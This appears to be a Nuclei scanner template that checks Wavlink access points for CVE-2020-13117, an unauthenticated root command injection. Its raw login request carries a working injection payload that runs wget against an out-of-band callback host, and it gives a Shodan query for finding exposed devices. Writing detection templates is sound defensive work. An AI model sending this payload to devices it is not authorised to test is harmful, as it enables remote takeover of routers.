57 lines
2.1 KiB
YAML
57 lines
2.1 KiB
YAML
id: CVE-2020-13117
|
|
|
|
info:
|
|
name: Wavlink Multiple AP - Remote Command Injection
|
|
author: gy741
|
|
severity: critical
|
|
description: Wavlink products are affected by a vulnerability that may allow remote unauthenticated users to execute arbitrary commands as root on Wavlink devices. The user input is not properly sanitized which allows command injection via the "key" parameter in a login request. It has been tested on Wavlink WN575A4 and WN579X3 devices, but other products may also be affected.
|
|
remediation: |
|
|
Apply the latest firmware update provided by the vendor to mitigate this vulnerability.
|
|
reference:
|
|
- https://blog.0xlabs.com/2021/02/wavlink-rce-CVE-2020-13117.html
|
|
- https://nvd.nist.gov/vuln/detail/CVE-2020-13117
|
|
classification:
|
|
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
|
|
cvss-score: 9.8
|
|
cve-id: CVE-2020-13117
|
|
cwe-id: CWE-77
|
|
epss-score: 0.05816
|
|
epss-percentile: 0.92588
|
|
cpe: cpe:2.3:o:wavlink:wn575a4_firmware:*:*:*:*:*:*:*:*
|
|
metadata:
|
|
verified: true
|
|
max-request: 1
|
|
vendor: wavlink
|
|
product: wn575a4_firmware
|
|
shodan-query: http.title:"Wi-Fi APP Login"
|
|
tags: cve,cve2020,wavlink,rce,oast,router
|
|
|
|
http:
|
|
- raw:
|
|
- |
|
|
POST /cgi-bin/login.cgi HTTP/1.1
|
|
Host: {{Hostname}}
|
|
Origin: http://{{Hostname}}
|
|
Content-Type: application/x-www-form-urlencoded
|
|
Accept-Encoding: gzip, deflate
|
|
|
|
newUI=1&page=login&username=admin&langChange=0&ipaddr=192.168.1.66&login_page=login.shtml&homepage=main.shtml&sysinitpage=sysinit.shtml&hostname=wifi.wavlink.com&key=%27%3B%60wget+http%3A%2F%2F{{interactsh-url}}%3B%60%3B%23&password=asd&lang_select=en
|
|
|
|
matchers-condition: and
|
|
matchers:
|
|
- type: word
|
|
part: interactsh_protocol # Confirms the HTTP Interaction
|
|
words:
|
|
- "http"
|
|
|
|
- type: word
|
|
part: body
|
|
words:
|
|
- "parent.location.replace"
|
|
|
|
- type: status
|
|
status:
|
|
- 200
|
|
|
|
# digest: 4a0a0047304502207c81aa3d09a9554ea207714c7ba50210e8523477b170f5fa7c2323cd831b81ee022100b9af1209f5ba41a3b85fa9d89bd80bc383237aea933fc486a80195082817d439:922c64590222798bb761d5b6d8e72950
|